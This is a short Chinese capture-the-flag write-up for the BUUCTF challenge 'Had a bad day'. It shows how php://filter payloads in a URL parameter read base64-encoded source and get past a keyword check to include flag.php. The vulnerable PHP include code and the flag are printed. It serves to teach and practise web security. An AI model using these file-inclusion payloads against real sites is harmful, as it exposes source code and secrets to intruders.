BUUCTF [BSidesCF 2020]Had a bad day
进入网站观察到http://71882873-f81e-4755-8040-5e7bb6b2230f.node4.buuoj.cn:81/index.php?category=woofers
先尝试读取一下index.php,没有反应。
试试php伪协议,payload:?category=php://filter/convert.base64-encode/resource=index.php
解析时会在后缀加上.php,所以payload:?category=php://filter/convert.base64-encode/resource=index
得到index.php的源码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
传入的category
需要有woofers
,meowers
,index
才能包含传入以传入名为文件名的文件。
我们要想办法包含flag.php(经验)
还是使用filter伪协议构造payload:?category=php://filter/convert.base64-encode/index/resource=flag
或者?category=php://filter/convert.base64-encode/resource=index/.../flag
相对路径是计算出来的,中间目录如果不存在也没关系
得到flag{10d6b9fb-916a-4225-993d-35d863f08d0e}
参考链接:
https://blog.csdn.net/mochu7777777/article/details/105204141